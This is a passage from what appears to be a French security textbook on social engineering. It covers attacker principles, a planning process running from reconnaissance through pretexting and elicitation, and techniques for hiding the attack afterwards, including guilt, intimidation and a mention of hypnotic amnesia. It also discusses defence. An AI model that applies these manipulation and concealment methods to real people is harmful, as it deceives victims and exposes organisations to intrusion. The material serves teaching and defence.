l’exploration des poubelles, les guichets d’accueil, les colloques, les salons de discussion, les réseaux
sociaux...

Risques atypiques et incertitudes liées à l’humain

Dans toute opération, tout projet, toute mission, les risques liés à l’action doivent être identifiés,
évalués, gérés et minimisés. C’est encore plus vrai dans le cas de l’ingénierie sociale dont le cadre
d’action se situe sur des frontières floues du point de vue de la légalité, ce qui induit des risques plus
importants.

Le "niveau" de légalité de l’action engagée, la protection et la puissance de l’organisation attaquée


conditionneront le niveau de gravité du risque. En revanche, leur probabilité dépendra de la maturité

Restrict
ed
de la structure attaquée, de la vulnérabilité des cibles humaines, du talent de l’attaquant et des
protections éventuelles dont il disposera. Ces facteurs seront très variables et les probabilités seront
donc difficilement chiffrables.

La prédominance de l’aspect humain a donc pour conséquence immédiate une grande incertitude.
Même si les sciences humaines en général, et la psychologie sociale en particulier, fournissent des
modèles de plus en plus précis, elles ne seront jamais des sciences exactes. Elles n’analysent et ne
prédisent les comportements qu’en termes de probabilités. Il est souvent possible d’optimiser ses
chances en se plaçant dans des conditions favorables. Mais les aléas de l’environnement d’une part
et la complexité du cerveau humain d’autre part en font un système trop complexe pour espérer
maîtriser complètement le risque.

L’incertitude s’accroissant avec le nombre d’acteurs et la complexité du contexte, cette difficulté


déterminera un cadre d’action particulier dans lequel non seulement les risques seront difficilement
chiffrables, mais aussi où les gains ne seront jamais garantis. Les choix méthodologiques vont être
naturellement dictés par cette part importante d’aléas dans le cadre opérationnel.

Ressources réduites

Les profits non garantis impliqueront en premier lieu un faible investissement initial en ressources
structurelles, humaines, techniques et financières pour le pirate. Et réciproquement, les
organisations capables de mettre en œuvre des ressources importantes (États, multinationales, ONG,
chaînes TV nationales, etc.) n’auront la plupart du temps tout simplement ni besoin ni intérêt à avoir
recours à l’ingénierie sociale. On peut dans ce sens considérer que l’ingénierie sociale serait un mode
opératoire de "pauvres". En tout cas, il s’agira généralement d’une stratégie du faible au fort.

L’ingénieur social agissant le plus souvent seul ou en équipe de très petite taille
(ressources humaines réduites) devra donc essentiellement s’appuyer sur des
méthodes performantes et des compétences diversifiées.

Le temps dont dispose l’ingénieur social est aussi une ressource comptée. Sauf dans le cas très
particulier et rare d’opérations planifiées sur du long terme, l’attaque d’ingénierie sociale devra se
traduire par des résultats rapides au moins en termes d’objectifs intermédiaires et d’informations
utilisables.

Méthodes d’investigation et d’influence particulières

Le choix des méthodes d’influence utilisées sera donc, là aussi, la conséquence directe de ces
contraintes imposées par l’aspect aléatoire du cadre opérationnel et d’une volonté constante de la
part de l’ingénieur social de limiter ou atténuer les risques.

Cela le conduira à exclure d’emblée des actions physiques telles que la violence, la coercition ou
l’effraction. De même, pour plusieurs raisons déjà évoquées, la corruption et la rétribution sont la
plupart du temps hors du périmètre de l’ingénierie sociale (dans le sens que nous avons retenu).

Par conséquent, l’ingénieur social privilégiera la méthode douce avec des techniques d’influence,
certes souvent à la marge de la légalité, mais relativement subtiles, discrètes et ayant l’impact le plus
faible possible sur l’environnement.

Ainsi, même si son action peut s’égarer sur les routes de la séduction ou de l’intimidation, elles ont
toutes les deux la fâcheuse tendance à laisser des traces. C’est donc la manipulation efficace,
élégante, durable et discrète qui aura la préférence de l’ingénieur social. Les caractéristiques, les

Restrict
ed
ressorts et les techniques de la manipulation, au sens de la psychologie sociale, seront donc un sujet
d’étude essentiel.

Situations évolutives

Enfin, l’intrusion par ingénierie sociale se caractérise aussi par des situations constamment
évolutives. L’opportunisme a alors souvent autant d’importance que la planification.

Cela favorise des modes d’action agiles afin d’être en mesure de réévaluer en temps réel risques,
objectifs, bénéfices, contraintes, stratégie et modes opératoires.

Cette nécessité constante d’improviser et de faire évoluer ses méthodes en cours d’action fait donc
de l’ingénieur social expérimenté quelqu’un de particulièrement apte à monter des opérations dans
l’urgence, notamment afin de saisir des opportunités inattendues.

Cette capacité de prise de décision rapide sur le vif afin de maîtriser un environnement complexe et
changeant, avec de fortes contraintes et peu de moyens, est sans doute l’une des marques de
fabrique de l’ingénieur social.

4. Problématique de la protection

Un des problèmes bien connus de la défense des systèmes d’information en général, et contre
l’ingénierie sociale en particulier, est qu’elle est apparemment difficile, coûteuse, contraignante et
improductive.

Par ailleurs, les sociétés dont c’est le métier de vendre des produits et des services de sécurité
informatique n’ont strictement aucun intérêt à s’occuper des problèmes liés à l’ingénierie sociale,
nécessitant la mise en œuvre de solutions à dominante organisationnelle et humaine. De ce fait, et
malgré une multiplication des attaques par ingénierie sociale ces dernières années, nous constatons
que le marché de la SSI (sécurité des systèmes d’information) est toujours dominé par des solutions
techniques ne prenant absolument pas en compte les aspects humains.

Or, la nécessité de mettre en œuvre des défenses adaptées au moindre coût et sans nuire aux
capacités de l’entreprise paraît évidente. Malheureusement, faute de volonté, de savoir-faire et de
méthode, ces défenses sont encore, trop souvent, inexistantes ou inefficaces.

Si l’être humain est hautement influençable et de ce fait souvent considéré comme le maillon faible
de la SSI, c’est qu’en effet les techniques d’influence et de manipulation que nous présenterons
possèdent des taux de réussite élevés. Mais il est important de préciser qu’elles dépendent
essentiellement de la situation sociale et finalement assez peu des facteurs individuels. Il faut donc
être convaincu qu’absolument tous les êtres humains sont faillibles dès lors qu’ils sont placés dans
des conditions favorables et que les bons leviers sont activés. C’est aussi vrai pour la personne que
vous venez d’exclure mentalement, c’est-à-dire vous. Soyez convaincu que toute autre croyance peut
s’avérer risquée.

Aussi, il nous faudra dès lors bannir les propos condescendants sur la bêtise humaine et toute autre
stigmatisation des personnes ayant été victimes d’une attaque d’ingénierie sociale. Car, en plus de
témoigner d’une capacité d’empathie très faible, ces propos traduisent toujours une grande
méconnaissance des facteurs sous-jacents de l’exploitation et la protection des failles humaines.
Nous verrons également pourquoi ils sont contre-productifs.

De même, la croyance populaire chez certains acteurs SSI (on trouve cela écrit sur
diverses présentations sur l’ingénierie sociale disponibles en ligne) selon laquelle les failles humaines

Restrict
ed
ne peuvent pas être "patchées" (mises à jour) est, elle aussi, à la fois fausse et contre-productive. Un
patch est la rustine numérique qui permet de corriger une faille, par exemple. Les failles humaines
trouvent leurs raisons d’être dans nos caractéristiques biologiques et sont le pendant d’autres atouts
du cerveau. Nous verrons qu’il existe des moyens de les réduire.

Un autre point clé est que, par ailleurs, les failles humaines sont souvent exploitables grâce à des
failles organisationnelles. Les erreurs se trouvent donc souvent au niveau de ceux qui fustigent la
faiblesse des autres et les réponses se situent souvent essentiellement au niveau managérial.

Enfin, enfonçons une dernière porte ouverte en rappelant, et nous y reviendrons, que l’être humain
n’est pas un ordinateur, et que, pour des raisons à la fois d’efficacité et d’éthique, les failles
humaines doivent être traitées de manière humaine, c’est-à-dire en prenant en compte l’ensemble
des facteurs humains. Si l’on souhaite insister sur l’aspect "hacking éthique", cette mise au point
n’est peut-être pas inutile.

Modes d’action de l’ingénierie sociale


1. Principes de l’attaque par ingénierie sociale

Soyons clairs : l’attaque par ingénierie sociale est un piratage, c’est-à-dire une action malveillante,
illégale et risquée. Il est donc possible de considérer que les principes généraux de la guerre (ou de la
théorie des jeux) s’y appliquent.

Ainsi, l’ingénierie sociale s’appuie d’abord sur certains principes constants, parfois partagés avec
d’autres formes d’intrusions, et qu’il est difficile de classer.

Quels sont ces principes ?

Le premier est peut-être, pour l’attaquant, la conservation de la liberté d’action, ce qui implique
discrétion et gestion des risques. Bien que peut-être évident pour certains, il mérite d’être rappelé,
car il conditionne l’ensemble de la manœuvre d’ingénierie sociale. Il est en effet essentiel pour
l’ingénieur social, qui récupère des informations très souvent destinées à être utilisées
ultérieurement, que son action ne soit pas détectée, surtout avant l’exploitation des informations. Il
s’attachera donc particulièrement à rester invisible le plus longtemps possible, discret dans ses
méthodes et capable si possible de camoufler ses traces a posteriori.

Citons ensuite le principe de "l’unité de commandement" évoqué dans les principes de la guerre. Il
s’agit souvent d’un élément clé d’une opération et il s’applique en ingénierie sociale. Cela veut dire
que, dans le cas d’un travail d’équipe, des processus décisionnels clairs et adaptés devront être mis
en place. S’il est des cas où l’avis de tous sera utile, chacun doit savoir qui décide et donne des ordres
en cours d’action.

L’économie de moyens est un autre principe général important. En effet, le choix de l’ingénierie
sociale comme mode d’action est souvent dû à une volonté d’économie ou à un manque de
ressources (financières, techniques ou humaines). Cette volonté d’économie implique la simplicité et
la possibilité de réutilisation ou d’industrialisation des modes d’action.

L’apparente complexité que nous constaterons dans la préparation d’une opération d’ingénierie
sociale réside essentiellement dans la prise en compte de multiples facteurs de succès et de risques

Restrict
ed
divers et changeants. Elle ne doit pas être antinomique avec la simplicité qui doit prévaloir dans la
mise en œuvre et qui est un pendant naturel du principe d’économie des moyens.

La recherche de l’effet levier est quant à lui le premier principe propre à l’ingénierie
sociale. Popularisé par Kevin Mitnick, l’effet levier peut se définir comme le renforcement de la
capacité à agir sur les failles humaines et organisationnelles, obtenu grâce à la collecte préalable
d’informations pertinentes. Il peut être la conséquence de la valeur d’une information particulière
seule ou dû à la mise en cohérence d’informations multiples apparemment anodines mais apportant
une compréhension globale ou une vue d’ensemble utilisable du système cible. C’est-à-dire que
certaines informations apparemment anodines portées à la connaissance d’ingénieurs sociaux
imaginatifs pourront potentiellement être utilisées comme point d’appui pour en obtenir d’autres
plus sensibles. Ils pourront ensuite, de proche en proche, accéder à d’autres informations leur
donnant des leviers sur l’organisation ou les personnes. En particulier, toute information sur
l’organisation, ses processus, ses codes, son jargon, peut être exploitée.

Cette recherche d’effet levier induit un nécessaire phasage de l’action comportant en premier une
collecte préalable d’informations très larges. Ce ne sera qu’après étude de ces informations et une
préparation optimum qu’on pourra se lancer dans les phases plus risquées.

Enfin, le principe le plus visible de l’ingénierie sociale est l’adaptation à l’environnement et en


particulier aux usages des nouvelles technologies de la communication. Au cours du temps, les
ingénieurs sociaux ont utilisé les crieurs publics, les tribunes, les lettres, les petites annonces dans les
journaux, le téléphone, le fax, le minitel, les e-mails, et les réseaux sociaux et les messageries
instantanées, soit tous les moyens les plus modernes pouvant permettre de démultiplier leur action,
d’économiser leur énergie et de rester dissimulés.

2. Processus générique de l’ingénieur social

Rappelons que, contrairement à l’image popularisée dans la littérature, une attaque par ingénierie
sociale ne fera que rarement l’économie d’une planification.

Ainsi, le déroulement décrit ici est un rappel des étapes essentielles par lesquelles il est nécessaire de
passer lorsque l’on monte une opération d’intrusion ciblant des failles humaines. Il permettra, d’une
part, de se mettre dans la peau de l’attaquant, et il donnera, d’autre part, une idée assez claire du
panel de compétences et de connaissances nécessaires à l’ingénieur social.

Bien sûr, cela ne doit pas aller à l’encontre du principe de simplicité. Si les délais ne permettent pas
une analyse détaillée, les étapes du processus peuvent toujours être réduites à leur plus simple
expression, c’est-à-dire une case de check-list à cocher. Il serait toutefois dommage de rater une
étape décisive par négligence et non par choix.

Notons que le cycle classique du renseignement se construit autour de quatre grandes étapes :
l’orientation, la recherche, l’exploitation et la diffusion.

Toutefois, dans le cadre de l’ingénierie sociale, nous proposerons plutôt un phasage en trois parties,
étude, préparation et exploitation, qui correspondent essentiellement à des étapes irréversibles en
termes de risques pris et au niveau de protection de l’information recherchée.

a. Étude préalable

Comme tout projet, une intrusion par ingénierie sociale commence par une idée, une opportunité,
en l’occurrence souvent la découverte inopinée d’une faille ou d’un gain potentiel.

Restrict
ed
À ce stade, l’intention sera encore vague et l’opération devra commencer par une étude préalable
incluant certaines étapes qui permettront d’en affiner le périmètre.

Chacune pourrait s’avérer importante et aucune ne devrait être totalement éludée, même si elles
pourront parfois être réduites à la plus simple expression et devront de préférence être peu
consommatrices en ressources.

Recherche préalable d’informations « blanches »

Pour l’ingénieur social, l’information revêt un caractère central. C’est à la fois sa matière première,
son outil et son produit. Il la récolte, la travaille, l’étudie, et en tire la substance qui lui permettra
d’obtenir son effet levier sur les humains afin d’obtenir in fine l’information recherchée. Comme le
chercheur d’or, l’ingénieur social devra passer au tamis un grand nombre d’informations avant d’en
tirer une pépite.

Avouons-le, c’est souvent autant poussé par la curiosité et l’appel de l’aventure que par le
pragmatisme que l’ingénieur social va se lancer dans la recherche préalable d’informations
"blanches", pour reprendre une appellation venue du milieu du renseignement.

Nous appellerons "informations blanches" celles qui sont disponibles avec peu de recherche sur
différents médias ouverts et qui ne sont pas considérées a priori comme confidentielles ou sensibles.
De nos jours, c’est bien sûr Internet et les divers moteurs de recherche ou outils d’intelligence
économique qui auront la préférence de l’ingénieur social dans cette collecte préliminaire
d’informations blanches. Les sources sont diverses et riches.

Citons entre autres, à titre d’exemple et dans le désordre : les sites d’entreprise, le registre du
commerce, les sites d’information et agences de presse, les réseaux sociaux professionnels et privés,
mais aussi la presse papier, les conférences de presse, les organigrammes affichés dans les halls
d’entrée d’immeubles, les publications papier, plaquettes de présentation ou supports multimédias
de communication publiés par l’organisation cible.

Même s’il sera à ce stade souvent nécessaire de traiter différemment les informations récoltées par
investigation et celles communiquées officiellement, les deux types peuvent receler quantité de
renseignements utilisables.

La collecte d’informations devra être large et rapide. L’expérience aidera, bien sûr, à
sélectionner parmi la masse des données collectées à cette étape celles qui donneront des éléments
décisionnels pertinents pour faciliter l’étude d’opportunité et de faisabilité qui en découlera.

En particulier, il pourra être utile à ce stade d’obtenir, en fonction de la cible, des indications
permettant d’estimer au mieux les bénéfices possibles, les contraintes, les risques, la maturité de
l’entreprise en termes de protection contre les intrusions, etc.

Lors de cette phase, la discrétion doit bien sûr être privilégiée.

Faisabilité et opportunité

Une fois la collecte avancée, une étude d’opportunité et de faisabilité plus détaillée pourra
commencer. Il sera alors nécessaire de se poser certaines questions permettant de décider du
lancement de l’opération. Même dans une opération courte, il est utile que cette étude soit
documentée, fût-ce succinctement, sur les points suivants.

Vulnérabilité apparente et maturité de la cible

Restrict
ed
La question de la vulnérabilité et de la maturité de la cible va alors se poser en premier. Le travail va
porter sur la première détection de failles, l’évaluation initiale de la protection, et le procédé
potentiel à employer. Avoir à ce stade la connaissance d’éventuelles attaques qu’aurait subies
l’organisation antérieurement donnera des éléments significatifs concernant les vulnérabilités et les
modes d’action défensifs probables.

Le style d’organigramme, les modes de fonctionnement, les processus peuvent commencer à être
examinés.

Enfin, il peut s’avérer utile de disposer d’une liste des interlocuteurs institutionnels de l’organisation
(fournisseurs, clients, etc.).

Bénéfices attendus

Un ingénieur social travaille parfois pour acquérir de l’expérience ou se divertir. Toutefois, il s’agit de
bénéfices connexes possibles mais qui justifieront difficilement à eux seuls de se lancer dans une
intrusion. Il est donc nécessaire à ce stade de faire le point sur ce que l’on attend réellement comme
bénéfices.

Contraintes (financière, légales, morales...)

Encore plus que pour tout autre projet, les contraintes doivent être clairement documentées avant
de décider du lancement en toute clarté. Typiquement, les contraintes financières, légales et morales
doivent être évoquées.

Analyse de risque, limites à ne pas dépasser

Le mot "risque" est revenu souvent depuis le début de ce chapitre. Il semble donc naturel que
l’analyse de risque soit un point de passage obligatoire lors de la préparation.

La norme ISO 27001 définit le risque comme la combinaison de la probabilité d’un événement et de
ses conséquences. C’est sur cette base que l’analyse de risque doit être élaborée, d’ailleurs autant du
côté de l’ingénieur social que du côté de la défense.

Bien qu’elle ait une utilité très claire, il est rare que ce genre d’analyse soit maintenue en continu.
Quoi qu’il en soit, il sera toujours bienvenu de maintenir un niveau d’attention sur l’évolution ou la
réévaluation du risque en cours d’action en se créant des indicateurs d’alertes (temps passé, coûts,
risques, bénéfices potentiels).

Opportunité de réutilisation d’expériences ou d’outils

La réutilisation peut être à la fois la force et la faiblesse de l’ingénierie sociale. Certes, les ingénieurs
sociaux les plus connus se prévalent de renouveler leurs méthodes à chaque nouvelle attaque. Cette
pratique, outre le fait d’avoir plus de panache, donne l’avantage de la surprise. Mais la plupart du
temps, à situation similaire, une technique qui a fonctionné une fois a de bonnes chances de
fonctionner à nouveau.

Définition des objectifs et des besoins en ressources

Au moment de monter l’opération en elle-même, il faudra répondre à certaines


questions concernant les objectifs intermédiaires d’une part et les ressources qui seront nécessaires
d’autre part. La liste ci-dessous en donne un aperçu :

 Quelles informations rechercher ?

Restrict
ed
 Quels seront nos objectifs intermédiaires (informations "grises") ?

 Quelle est la valeur des informations recherchées ? Comment seront-elles protégées ?

 Quels effets levier rechercher ?

 Comment valider et recouper l’information ?

 Qui va exploiter l’information ?

 Quels sont les indicateurs de Go, No go et Arrêt de l’opération ?

 De quels moyens logistiques aurait-on besoin ?

Lancement et préparation

La décision de se lancer dans la phase opérationnelle ne se prend pas à la légère. Idéalement, on


disposera d’indicateurs, notamment de niveau d’engagement de ressources et des risques
acceptables, afin de décider le plus objectivement possible et à froid.

b. Préparation

Nous abordons alors la phase où l’on commence à investir plus de ressources dans le projet. Il ne
s’agit pas de présenter ici un cours complet de stratégie opérationnelle, mais simplement de rappeler
qu’une action de ce type ne peut pas faire l’économie d’un plan, et d’en rappeler les principales
étapes.

Élaboration du scénario d’attaque

Il s’agira à ce stade de documenter le scénario de l’attaque.

On étudiera donc en détail les différentes possibilités de failles et de méthodes d’attaque que l’on
mettra en regard des modes de défense possibles et des réactions probables.

On établira une liste des effets levier que l’on va utiliser.

On pourra commencer à choisir les cibles potentielles et si possible on les étudiera et les typera. On
déterminera précisément le type de langage à utiliser en fonction de chaque cible ou type de cible et
celui de chaque stratagème.

On établira des scripts détaillés avec des scénarios de contournement pour chaque type de cibles
avec lesquelles il y aura une prise de contact.

Il s’agit de répondre en amont aux questions qui, quoi, pourquoi, comment, où, quand, avec qui,
contre quoi, quoi d’autre.

Répétition générale et "prototypage"

Même si les étapes précédentes sont écourtées, la répétition générale reste primordiale afin de
détecter certaines faiblesses potentielles de l’attaque, de se préparer mentalement et
émotionnellement, et de vérifier que l’on a tous les éléments nécessaires à portée de main.

Même si une répétition détaillée est souhaitable, dans certains cas, se répéter une fois à haute voix
sa phrase d’accroche peut déjà permettre de rentrer dans son personnage et de gagner en assurance
et en crédibilité.

Préparation mentale et émotionnelle

Restrict
ed
La préparation consistera à se mettre dans l’ambiance et dans la peau du personnage que l’on va
jouer. Les diverses méthodes de relaxation ou de concentration peuvent ici avoir leur utilité.

Répétition des scripts et du jeu d’acteur

Elle servira à mémoriser au maximum les textes, à tester les scénarios avec, si possible, quelqu’un
jouant les diverses réactions possibles des cibles.

Canevas et aide-mémoire

Au moment de la phase de contact, le dialogue doit être fluide et précis. Avoir mémorisé un
maximum d’éléments sera une bonne chose, mais, pour faire face rapidement à la nécessité
d’improviser, il sera très utile de disposer à portée de main d’un maximum d’aide-mémoire,
glossaires de jargon et autres organigrammes...

c. Exploitation

L’exploitation correspond au moment où les informations de valeur vont être obtenues. Cette phase
n’est pas nécessairement linéaire et peut comporter autant de boucles que nécessaire.

Contact avec les sources

Le contact avec la source est bien évidemment le moment essentiel de l’attaque d’ingénierie sociale.
C’est à ce moment que le risque est maximum et que toute erreur pourra conduire à la
compromission du projet. Le téléphone est souvent utilisé (cf. exercice Cas particulier du téléphone)
mais le principe reste identique pour tout autre mode de contact. Le facteur le plus variable en
fonction des supports techniques choisis sera la temporalité, mais les principes de base resteront
inchangés.

On peut aussi découper cette partie en trois phases d’importances égales que nous décrirons ici sans
rentrer dans le détail des techniques que nous verrons ultérieurement (cf. section Failles humaines :
bases et modèles théoriques).

Approche

La phase d’approche consiste à mettre en œuvre le stratagème afin d’être en mesure de


communiquer avec la ou les cibles. La qualité de l’approche aura une influence sur la qualité de
l’"élicitation", car elle va souvent poser les bases et constituera les préliminaires des grandes et
petites techniques de manipulation mises en œuvre.

Mise en œuvre technique et "élicitation"

On se situe ici au cœur de la manipulation, là où les requêtes seront faites. C’est bien évidemment le
moment le plus délicat.

Idéalement, cette phase sera la plus courte possible pour en faciliter le camouflage.

La requête cible pourra parfois, en fonction des techniques utilisées, être dissimulée au milieu
d’autres requêtes sans objet réel.

Camouflage final

Une information ne sera valide que tant que l’attaque n’a pas été détectée. Le camouflage final est
donc une phase indispensable pour conserver la liberté de manœuvre nécessaire à l’exploitation des
informations.

Restrict
ed
Il s’agit d’une part de faire en sorte que l’extraction de l’information ne reste pas prégnante dans la
mémoire de la victime. Les biais cognitifs de la mémoire (cf. section Failles humaines : bases et
modèles théoriques) trouveront ici une grande utilité. Rappelons aussi qu’il existe des méthodes
hypnotiques qui provoqueront ou faciliteront l’amnésie.

Lorsque les chances que la victime garde en mémoire le moment de l’élicitation sont importantes,
plusieurs techniques sont alors à disposition.

Tout d’abord, la requête formulée de garder le silence, si elle est conduite suivant les règles et
techniques de manipulation, est une solution valide. Un simple "Ça reste entre nous" peut souvent
fonctionner si les bons éléments ont été mis en place. Toutefois, la question du rapport
risques/bénéfices de cette requête se posera. En effet, elle pourrait tout autant éveiller l’attention de
la cible si elle est mal exécutée. La décision se prendra grâce à la lecture des feedbacks.

Elle peut être appuyée par différents ressorts comme la culpabilisation ou l’intimidation, qui peuvent
permettre de ne pas avoir à formuler la requête de silence : "On a un peu contourné le règlement
mais on a fait avancer les choses. Merci beaucoup" rappelle à la victime qu’il pourrait y avoir des
conséquences à ses actes s’ils venaient à être connus et joue le rôle d’une requête tacite.

Validation et recoupement éventuel

C’est une étape classique du renseignement, il est en effet nécessaire de s’assurer le plus rapidement
possible de la validité des informations. Le recoupement est une méthode couramment utilisée qui
consiste à obtenir la même information par différentes sources. Elle est toutefois consommatrice de
ressources, et en ingénierie sociale l’information est le plus souvent simplement immédiatement
exploitée ou diffusée à son commanditaire.

3. Compétences et outils de l’ingénieur social

Le processus générique et la méthode de raisonnement décrits dans cette partie fournissent un


premier canevas pour bâtir une planification d’opérations. Ils ne prétendent pas être exhaustifs et
pourront bien sûr être enrichis par les expériences de chacun.

En voyant ce déroulement type, il semble que l’ingénieur social doive être compétent dans de
nombreuses spécialités telles que le management, le "data mining", la sociologie, la psychologie ou
encore la comédie.

En fait, nul besoin pour l’ingénieur social d’être un expert accompli de chacune des matières. Il doit
simplement disposer des bons outils et de quelques techniques simples, efficaces et pragmatiques
dans certains domaines importants.

Disposer de compétences en organisation, en planification et en commandement opérationnel sera


bien sûr particulièrement utile. Par ailleurs, il serait dommage de consacrer tant d’énergie à collecter
de l’information pour ne pas l’utiliser afin d’en tirer des indicateurs pertinents pour la prise de
décisions. Les éléments présentés dans cette partie pourront utilement servir de base à l’élaboration
d’une stratégie et d’une planification documentées.

Les parties suivantes sont consacrées aux autres compétences, c’est-à-dire la connaissance des
organisations et des failles humaines, des techniques de manipulation, de subterfuges et de lecture
de feedbacks.

a. Comédie, ruse, subterfuge et tromperie

Restrict
ed
Un des prérequis pour se lancer dans une attaque d’ingénierie sociale est d’être complètement à
l’aise avec la notion de subterfuge. C’est-à-dire qu’il faut avoir intégré, rationalisé si nécessaire, et
mis en cohérence les raisons de l’action. Sans cette cohérence, le risque de se trahir inconsciemment
ou de ne pas être crédible sera sensiblement augmenté.

Un autre domaine de compétence à mettre en œuvre est celui du jeu d’acteur et de la mise en scène.
Être capable de jouer la comédie peut en effet s’avérer crucial.

La pratique de l’improvisation théâtrale est un exemple de méthode permettant de progresser, si


c’est nécessaire, dans les domaines de la confiance en soi, du contrôle de ses émotions, de l’art de la
mise en scène, de la capacité d’improvisation et bien sûr de la capacité à jouer un personnage
crédible.

b. Lecture de cible

Un autre domaine qu’il serait difficile de décrire en détail ici est celui de la lecture des cibles
humaines. Les techniques de manipulation que nous aborderons s’appuient sur des données
statistiques et fonctionnent souvent sur le plus grand nombre.

Toutefois, la capacité à typer les individus, nous pourrions même dire à les stéréotyper, de manière
pertinente sera toujours un plus. Elle permettra d’adapter la méthode, de choisir les leviers et
d’optimiser les techniques utilisées.

La difficulté sera de maîtriser suffisamment bien un ou plusieurs modèles de psychologie


différentielle à la fois simples, rapides et valides, de manière à être capable de faire une analyse sur
le vif de la cible.

L’idéal dans ce domaine est de posséder un modèle de typage que l’on s’est bâti et que l’on a
expérimenté. Kevin Mitnick, par exemple, dans son livre "The Art of Intrusion", montre comment
distraire ceux qu’il nomme older guys, out of shape guys, and living-with-mum guys en évoquant un
proche rendez-vous qu’il aurait avec une jolie fille.

Un modèle élégant et puissant en termes de typage caractériel est celui de l’ennéagramme. Il


demande toutefois de la pratique avant d’être utilisable en situation.

Un dernier domaine dans lequel l’ingénieur social devra posséder des outils est la
lecture de feedbacks. La notion de feedback est essentielle dans la théorie de la communication. Cela
permet de disposer d’indicateurs quant à l’efficacité de son message et de son influence.

Ces retours d’information pourront être de différentes natures : verbaux, non verbaux, posturaux,
etc. Il existe des études et des modèles qui dépassent là encore le cadre de ce chapitre mais nous
conseillons la lecture d’ouvrages sur le sujet tels que ceux de Paul Eckman ou de Philippe Truchet.

Restrict
ed
Connaissance des organisations attaquées
Pour élaborer une stratégie, détecter les failles dans l’organisation, communiquer sur le bon registre
de langage, en utilisant le bon jargon, ou appréhender les processus internes, l’ingénieur social doit
se bâtir un modèle pertinent de l’organisation qu’il cible.

Cette analyse sera donc un atout précieux dans l’élaboration, la préparation et la mise en œuvre
d’une stratégie d’approche pertinente.

Elle permettra par exemple de se faire passer plus facilement pour quelqu’un ayant de bonnes
raisons de prendre contact et de demander des informations (membre du personnel, client,
fournisseur, société de maintenance, partenaire, etc.).

Il est en effet important de comprendre qu’il existe dans n’importe quelle organisation humaine des
éléments culturels qui se transmettent de proche en proche. Cela a pour conséquence une
cohérence importante dans les groupes en termes de valeurs, de croyances, de manières, de
langages, de comportements.

Ainsi, on ne communique pas de la même manière avec, par exemple, un cadre d’une multinationale,
un employé municipal ou le bénévole d’une association caritative.

Le lecteur intéressé pourra lire sur le sujet de nombreux ouvrages consacrés notamment à l’approche
mémétique permettant de modéliser ces phénomènes.

La mémétique est une science jeune mais qui permet d’expliquer de nombreux phénomènes. Elle
s’appuie sur la notion de mème (Richard Dawkins, The Selfish Gene, 1976), qui est un élément d’une
culture ou d’information se transmettant de cerveau en cerveau par des moyens non génétiques, en
particulier par l’imitation. Les théories émergentes liées à la mémétique sont souvent passionnantes,
mais il n’est pas utile de les connaître en détail. Elles permettent toutefois souvent d’appréhender de
manière efficiente les phénomènes comme la pensée de groupe, les métavaleurs ou les croyances.

L’ingénieur social pourra donc utilement s’intéresser aux aspects mémétiques, sociologiques et
comportementaux liés aux groupes et aux organisations humaines. Que ces éléments soient
communs à toute une organisation ou propres à une niche ou un service, il appartient à l’ingénieur
social de les repérer et d’évaluer leur utilité.

Il n’existe bien sûr pas de modélisation optimale et adaptée à toutes les situations. Toutefois, nous
proposerons une typologie et des modèles qui nous paraissent allier simplicité et efficacité.

1. Typologies générales

La première typologie d’organisations à laquelle on doit penser est certainement celle basée sur leurs
finalités.

De ce point de vue, on peut considérer trois grands types d’organisations : les associations, les
entreprises et les administrations, chacune pouvant être découpée en différents sous-types que nous
ne détaillerons pas ici.

Cette distinction simple conditionnera naturellement les valeurs du groupe et donc celles de ses
membres de manière assez claire. On peut admettre par exemple qu’en général, les administrations
auront pour but de servir le public ou l’État, les entreprises de faire du profit ou de subsister, et les
associations auront des buts ludiques ou politiques. Bien sûr, il ne faudrait pas pour autant exclure
des cas particuliers et ces éléments seront à analyser pour préparer les prises de contact humaines.

Restrict
ed
Il faudra ensuite prendre en compte d’autres éléments tels que la taille, le morcellement
géographique, les éventuelles branches, le découpage en services particuliers, chacun des éléments
pouvant constituer autant des niches culturelles.

2. Typologies de valeurs et de croyances

Au-delà de ce premier classement factuel, s’ouvre pour l’ingénieur social le vaste domaine des
valeurs et des croyances. Toutefois, un chapitre entier ne suffirait pas pour les étudier en détail. Nous
proposerons une vue simplifiée inspirée du modèle nommé "spirale dynamique".

Ce niveau d’approximation reste suffisant pour aider efficacement à choisir le style, le niveau de
langage et les thématiques abordées lors d’une prise de contact.

Nous engageons les lecteurs curieux à s’intéresser à ce modèle et à former leur propre opinion quant
à son utilité dans le cadre de l’ingénierie sociale aux sens restreint et général.

Précisons d’abord un axiome de la théorie selon lequel, en général, les modes d’organisation, les
valeurs, les croyances ont tendance à se développer et à se regrouper en paradigmes cohérents, des
systèmes consistants de croyance, valeurs et comportements qui ont tendance à garder des
structures identiques. Ce sont ces structures méta-mémétiques que l’on nommera niveau de
conscience de la réalité et qui produiront le classement des organisations qui nous intéressent
concrètement.

Il est délicat d’apposer un mot pour réduire des systèmes complexes de métavaleurs et de croyances.
Toutefois, dans le but d’une utilisation pragmatique par un ingénieur social, nous proposons la
typologie d’organisations suivante.

Chaotique

Citée pour mémoire, il s’agit d’un niveau sans réelle organisation et sans aucune cohérence. Il n’est
donc pas directement exploitable. En fait, et heureusement, il n’existe pratiquement jamais dans la
réalité car même une foule hétérogène peut très rapidement trouver une cohérence de type
clanique.

Clanique

L’organisation tribale ou encore familiale, que l’on retrouve plutôt dans des organisations de petite
taille ou des sous-groupes d’organisations de plus grande taille. On y valorise l’ancienneté, le respect
des rituels et des manières de faire traditionnelles.

Le vocabulaire et le niveau de langage qui y sont favorisés sont ceux de la famille, du clan, de la
tradition et du respect de l’ancienneté.

Tyrannique

Il s’agit d’une organisation gouvernée par un chef ayant une autorité indiscutée. On y valorise la
force, l’honneur, l’héroïsme individuel, la mise en avant des qualités individuelles, la réussite
personnelle. Ses membres vivent dans l’instant présent ou le court terme sans penser aux
conséquences de leurs actes.

C’est sur ce registre-là qu’il faudra parler. On rencontre ce niveau de valeurs au niveau des groupes
mafieux, de certaines unités militaires ou paramilitaires, de bandes de rues, ou chez les pirates.

Le vocabulaire et le ton sont ceux de la force, de la violence, de la domination.

Restrict
ed
Hiérarchique

Les valeurs sont féodales, chacun connaît sa place dans une hiérarchie qui est une science exacte. La
hiérarchie, l’ordre, la loi, les croyances, l’obéissance sont des valeurs importantes. Leurs membres
vivent dans l’espérance de toucher plus tard les bénéfices d’avoir joué suivant les règles.

On en rencontre dans les administrations, les organisations militaires, les églises, les partis politiques,
certaines grandes entreprises, les institutions en général.

Le langage à utiliser est celui du monde hiérarchique, de l’ordre, de l’autorité.

Productiviste

